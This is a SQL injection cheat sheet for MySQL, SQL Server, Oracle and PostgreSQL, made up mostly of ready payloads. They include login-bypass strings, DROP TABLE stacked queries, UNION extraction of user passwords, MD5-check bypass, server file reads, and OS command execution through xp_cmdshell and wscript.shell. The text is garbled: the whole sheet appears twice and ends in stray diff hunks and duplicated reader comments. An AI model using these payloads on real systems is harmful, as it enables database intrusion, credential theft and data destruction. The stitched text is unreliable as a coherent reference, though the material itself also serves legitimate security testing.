Find and exploit SQL Injections with Netsparker, Next Generation Web Application Security Scanner
SQL Injection Cheat Sheet, Document Version 1.4
About SQL Injection Cheat Sheet
Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.
Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.
M : | MySQL |
S : | SQL Server |
P : | PostgreSQL |
O : | Oracle |
+ : | Possibly all other databases |
Examples;
- (MS) means : MySQL and SQL Server etc.
- (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server
Table Of Contents
- About SQL Injection Cheat Sheet
- Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
- Line Comments
- Inline Comments
- Stacking Queries
- If Statements
- Using Integers
- String Operations
- Strings without Quotes
- String Modification & Related
- Union Injections
- Bypassing Login Screens
- Enabling xp_cmdshell in SQL Server 2005
- Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.
Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
Ending / Commenting Out / Line Comments
Line Comments
Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.
--
(SM)
DROP sampletable;--
#
(M)
DROP sampletable;#
Line Comments Sample SQL Injection Attacks
- Username:
admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
This is going to log you as admin user, because rest of the SQL query will be ignored.
Inline Comments
Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
/*Comment Here*/
(SM)DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable
SELECT/*avoid-spaces*/password/**/FROM/**/Members
/*! MYSQL Special SQL *
/ (M)
This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
SELECT /*!32302 1/0, */ 1 FROM tablename
Classical Inline Comment SQL Injection Attack Samples
- ID:
10; DROP TABLE members /*
Simply get rid of other stuff at the end the of query. Same as10; DROP TABLE members --
SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
MySQL Version Detection Sample Attacks
- ID:
/*!
32302 10*/
- ID:
10
You will get the same response if MySQL version is higher than 3.23.02
SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
Stacking Queries
Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
;
(S)SELECT * FROM members; DROP members--
Ends a query and starts a new one.
Language / Database Stacked Query Support Table
green: supported, dark gray: not supported, light gray: unknown
SQL Server | MySQL | PostgreSQL | ORACLE | MS Access | |
ASP | |||||
ASP.NET | |||||
PHP | |||||
Java |
About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?
Stacked SQL Injection Attack Samples
- ID:
10;DROP members --
SELECT * FROM products WHERE id = 10; DROP members--
This will run DROP members SQL sentence after normal SQL Query.
If Statements
Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.
MySQL If Statement
IF(condition,true-part,false-part)
(M)
SELECT IF(1=1,'true','false')
SQL Server If Statement
IF condition true-part ELSE false-part
(S)IF (1=1) SELECT 'true' ELSE SELECT 'false'
If Statement SQL Injection Attack Samples
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0
(S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".
Using Integers
Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
0xHEXNUMBER
(SM)
You can write hex like these;
SELECT CHAR(0x66)
(S)SELECT 0x5045
(this is not an integer it will be a string from Hex) (M)SELECT 0x50 + 0x45
(this is integer now!) (M)
String Operations
String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.
String Concatenation
+
(S)SELECT login + '-' + password FROM members
||
(*MO)SELECT login || '-' || password FROM members
*About MySQL "||";
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT()
function in MySQL.
CONCAT(str1, str2, str3, ...)
(M)
Concatenate supplied strings.SELECT CONCAT(login, password) FROM members
Strings without Quotes
These are some direct ways to using strings but it’s always possible to use CHAR()
(MS) and CONCAT()
(M) to generate string without quotes.
0x457578
(M) - Hex Representation of stringSELECT 0x457578
This will be selected as string in MySQL.
In MySQL easy way to generate hex representations of strings use this;SELECT CONCAT('0x',HEX('c:\\boot.ini'))
- Using
CONCAT()
in MySQLSELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
(M)
This will return ‘KLM’.
SELECT CHAR(75)+CHAR(76)+CHAR(77)
(S)
This will return ‘KLM’.
Hex based SQL Injection Samples
SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
(M)
This will show the content of c:\boot.ini
String Modification & Related
ASCII()
(SMP)
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
SELECT ASCII('a')
CHAR()
(SM)
Convert an integer of ASCII.
SELECT CHAR(64)
Union Injections
With union you do SQL queries cross-table. Basically you can poison query to return records from another table.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.
Another Example : ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
UNION – Fixing Language Issues
While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
- SQL Server (S)
Usefield
COLLATE
SQL_Latin1_General_Cp1254_CS_AS
or some other valid one - check out SQL Server documentation.
SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
- MySQL (M)
Hex()
for every possible issue
Bypassing Login Screens (SMO+)
SQL Injection 101, Login tricksadmin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
- ....
- Login as different user (SM*)
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
*Old versions of MySQL doesn't support union queries
Bypassing second MD5 hash check login screens
If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
Bypassing MD5 Hash Check Example (MSP)
Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Error Based - Find Columns Names
Finding Column Names with HAVING BY - Error Based (S)
In the same order,
- '
HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --
and so on- If you are not getting any more error then it's done.
Finding how many columns in SELECT query by ORDER BY (MSO+)
Finding column number by ORDER BY can speed up the UNION SQL Injection process.
ORDER BY 1--
ORDER BY 2--
ORDER BY N--
so on- Keep going until get an error. Error means you found the number of selected columns.
Data types, UNION, etc.
Hints,
- Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
- To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
- Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
- Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)
Finding Column Type
' union select sum(columntofind) from users--
(S)Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
If you are not getting error it means column is numeric.
- Also you can use CAST() or CONVERT()
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
No Error - Syntax is right. MS SQL Server Used. Proceeding.
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
No Error – First column is an integer.
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
Error! – Second column is not an integer.
11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
No Error – Second column is a string.
11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
Error! – Third column is not an integer. ...
Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.
You’ll get convert() errors before union target errors ! So start with convert() then union
Simple Insert (MSO+)
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes
@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
Bulk Insert (S)
Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.
- Create table foo( line varchar(8000) )
- bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
- Drop temp table, and repeat for another file.
BCP (S)
Write text file. Login Credentials are required to use this function. bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
VBS, WSH in SQL Server (S)
You can use VBS, WSH scripting in SQL Server because of ActiveX support.
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe' Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
Executing system commands, xp_cmdshell (S)
Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
Simple ping check (configure your firewall or sniffer to identify request before launch it),
EXEC master.dbo.xp_cmdshell 'ping
You can not read results directly from error or union or something else.
Some Special Tables in SQL Server (S)
- Error Messages
master..sysmessages
- Linked Servers
master..sysservers
- Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
SQL Server 2000:masters..sysxlogins
SQL Server 2005 :sys.sql_logins
More Stored Procedures for SQL Server (S)
- Cmd Execute (xp_cmdshell)
exec master..xp_cmdshell 'dir'
- Registry Stuff (xp_regread)
- xp_regaddmultistring
- xp_regdeletekey
- xp_regdeletevalue
- xp_regenumkeys
- xp_regenumvalues
- xp_regread
- xp_regremovemultistring
- xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
- Managing Services (xp_servicecontrol)
- Medias (xp_availablemedia)
- ODBC Resources (xp_enumdsn)
- Login mode (xp_loginconfig)
- Creating Cab Files (xp_makecab)
- Domain Enumeration (xp_ntsec_enumdomains)
- Process Killing (need PID) (xp_terminate_process)
- Add new procedure (virtually you can execute whatever you want)
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver - Write text file to a UNC or an internal path (sp_makewebtask)
MSSQL Bulk Notes
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"+
Find and exploit SQL Injections with Netsparker, Next Generation Web Application Security Scanner
SQL Injection Cheat Sheet, Document Version 1.4
About SQL Injection Cheat Sheet
Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.
Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.
M : | MySQL |
S : | SQL Server |
P : | PostgreSQL |
O : | Oracle |
+ : | Possibly all other databases |
Examples;
- (MS) means : MySQL and SQL Server etc.
- (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server
Table Of Contents
- About SQL Injection Cheat Sheet
- Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
- Line Comments
- Inline Comments
- Stacking Queries
- If Statements
- Using Integers
- String Operations
- Strings without Quotes
- String Modification & Related
- Union Injections
- Bypassing Login Screens
- Enabling xp_cmdshell in SQL Server 2005
- Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.
Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
Ending / Commenting Out / Line Comments
Line Comments
Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.
--
(SM)
DROP sampletable;--
#
(M)
DROP sampletable;#
Line Comments Sample SQL Injection Attacks
- Username:
admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
This is going to log you as admin user, because rest of the SQL query will be ignored.
Inline Comments
Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
/*Comment Here*/
(SM)DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable
SELECT/*avoid-spaces*/password/**/FROM/**/Members
/*! MYSQL Special SQL *
/ (M)
This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
SELECT /*!32302 1/0, */ 1 FROM tablename
Classical Inline Comment SQL Injection Attack Samples
- ID:
10; DROP TABLE members /*
Simply get rid of other stuff at the end the of query. Same as10; DROP TABLE members --
SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an division by 0 error if MySQL version is higher than 3.23.02
MySQL Version Detection Sample Attacks
- ID:
/*!
32302 10*/
- ID:
10
You will get the same response if MySQL version is higher than 3.23.02
SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an division by 0 error if MySQL version is higher than 3.23.02
Stacking Queries
Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
;
(S)SELECT * FROM members; DROP members--
Ends a query and starts a new one.
Language / Database Stacked Query Support Table
green: supported, dark gray: not supported, light gray: unknown
SQL Server | MySQL | PostgreSQL | ORACLE | MS Access | |
ASP | |||||
ASP.NET | |||||
PHP | |||||
Java |
About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?
Stacked SQL Injection Attack Samples
- ID:
10;DROP members --
SELECT * FROM products WHERE id = 10; DROP members--
This will run DROP members SQL sentence after normal SQL Query.
If Statements
Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.
MySQL If Statement
IF(condition,true-part,false-part)
(M)
SELECT IF(1=1,'true','false')
SQL Server If Statement
IF condition true-part ELSE false-part
(S)IF (1=1) SELECT 'true' ELSE SELECT 'false'
If Statement SQL Injection Attack Samples
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0
(S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".
Using Integers
Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
0xHEXNUMBER
(SM)
You can write hex like these;
SELECT CHAR(0x66)
(S)SELECT 0x5045
(this is not an integer it will be a string from Hex) (M)SELECT 0x50 + 0x45
(this is integer now!) (M)
String Operations
String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.
String Concatenation
+
(S)SELECT login + '-' + password FROM members
||
(*MO)SELECT login || '-' || password FROM members
*About MySQL "||";
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT()
function in MySQL.
CONCAT(str1, str2, str3, ...)
(M)
Concatenate supplied strings.SELECT CONCAT(login, password) FROM members
Strings without Quotes
These are some direct ways to using strings but it’s always possible to use CHAR()
(MS) and CONCAT()
(M) to generate string without quotes.
0x457578
(M) - Hex Representation of stringSELECT 0x457578
This will be selected as string in MySQL.
In MySQL easy way to generate hex representations of strings use this;SELECT CONCAT('0x',HEX('c:\\boot.ini'))
- Using
CONCAT()
in MySQLSELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
(M)
This will return ‘KLM’.
SELECT CHAR(75)+CHAR(76)+CHAR(77)
(S)
This will return ‘KLM’.
Hex based SQL Injection Samples
SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
(M)
This will show the content of c:\boot.ini
String Modification & Related
ASCII()
(SMP)
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
SELECT ASCII('a')
CHAR()
(SM)
Convert an integer of ASCII.
SELECT CHAR(64)
Union Injections
With union you do SQL queries cross-table. Basically you can poison query to return records from another table.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.
Another Example : ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
UNION – Fixing Language Issues
While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
- SQL Server (S)
Usefield
COLLATE
SQL_Latin1_General_Cp1254_CS_AS
or some other valid one - check out SQL Server documentation.
SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
- MySQL (M)
Hex()
for every possible issue
Bypassing Login Screens (SMO+)
SQL Injection 101, Login tricksadmin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
- ....
- Login as different user (SM*)
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
*Old versions of MySQL doesn't support union queries
Bypassing second MD5 hash check login screens
If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
Bypassing MD5 Hash Check Example (MSP)
Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Error Based - Find Columns Names
Finding Column Names with HAVING BY - Error Based (S)
In the same order,
- '
HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --
and so on- If you are not getting any more error then it's done.
Finding how many columns in SELECT query by ORDER BY (MSO+)
Finding column number by ORDER BY can speed up the UNION SQL Injection process.
ORDER BY 1--
ORDER BY 2--
ORDER BY N--
so on- Keep going until get an error. Error means you found the number of selected columns.
Data types, UNION, etc.
Hints,
- Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
- To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
- Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
- Be careful in Blind situations may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)
Finding Column Type
' union select sum(columntofind) from users--
(S)Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
If you are not getting error it means column is numeric.
- Also you can use CAST() or CONVERT()
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
No Error - Syntax is right. MS SQL Server Used. Proceeding.
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
No Error – First column is an integer.
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
Error! – Second column is not an integer.
11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
No Error – Second column is a string.
11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
Error! – Third column is not an integer. ...
Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.
You’ll get convert() errors before union target errors ! So start with convert() then union
Simple Insert (MSO+)
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes
@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
Bulk Insert (S)
Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.
- Create table foo( line varchar(8000) )
- bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
- Drop temp table, and repeat for another file.
BCP (S)
Write text file. Login Credentials are required to use this function. bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
VBS, WSH in SQL Server (S)
You can use VBS, WSH scripting in SQL Server because of ActiveX support.
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe' Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
Executing system commands, xp_cmdshell (S)
Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
Simple ping check (configure your firewall or sniffer to identify request before launch it),
EXEC master.dbo.xp_cmdshell 'ping
You can not read results directly from error or union or something else.
Some Special Tables in SQL Server (S)
- Error Messages
master..sysmessages
- Linked Servers
master..sysservers
- Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
SQL Server 2000:masters..sysxlogins
SQL Server 2005 :sys.sql_logins
More Stored Procedures for SQL Server (S)
- Cmd Execute (xp_cmdshell)
exec master..xp_cmdshell 'dir'
- Registry Stuff (xp_regread)
- xp_regaddmultistring
- xp_regdeletekey
- xp_regdeletevalue
- xp_regenumkeys
- xp_regenumvalues
- xp_regread
- xp_regremovemultistring
- xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
- Managing Services (xp_servicecontrol)
- Medias (xp_availablemedia)
- ODBC Resources (xp_enumdsn)
- Login mode (xp_loginconfig)
- Creating Cab Files (xp_makecab)
- Domain Enumeration (xp_ntsec_enumdomains)
- Process Killing (need PID) (xp_terminate_process)
- Add new procedure (virtually you can execute whatever you want)
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver - Write text file to a UNC or an internal path (sp_makewebtask)
MSSQL Bulk Notes
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx
@@ -173,7 +173,7 @@Waiting For Blind SQL Injections
WAIT FOR DELAY 'time' (S)
-This is just like sleep, wait for spesified time. CPU safe way to make database wait.
+This is just like sleep, wait for specified time. CPU safe way to make database wait.
WAITFOR DELAY '0:0:10'--
Some Extra MySQL Notes
-
-
- By default it’s not avaliable ! +
- By default it’s not available !
create table foo( line blob ); @@ -498,7 +498,7 @@
ChangeLog
- 30/03/2007 v1.3
-
-
- Niko pointed out PotsgreSQL and PHP supports stacked queries +
- Niko pointed out PostgreSQL and PHP supports stacked queries
- Bypassing second MD5 check login screens description and attack added @@ -591,7 +591,7 @@
vinnu - 16.02.2010
- 30/03/2007 v1.3
eslimasec - 13.02.2010
- Dear Ferruh,
we developped a small tool to aid Webapptesting that includes many of your tricks, It can be find herehttp://wiki.eslimasec.com/esliwiki/ProjectsPost.
hope it is useful 4 u and ya readers.
best regards
Dear Ferruh,
we developed a small tool to aid Webapptesting that includes many of your tricks, It can be find herehttp://wiki.eslimasec.com/esliwiki/ProjectsPost.
hope it is useful 4 u and ya readers.
best regards
vinnu - 12.02.2010
vinnu - 12.02.2010
-Also in case if u r just pairing single quotes, then u can easily ecape one of the single quote using a forward slash "\".
+This will again break the SQL query and will inject the parameter as a SQL query.
Also in case if u r just pairing single quotes, then u can easily escape one of the single quote using a forward slash "\".
This will again break the SQL query and will inject the parameter as a SQL query.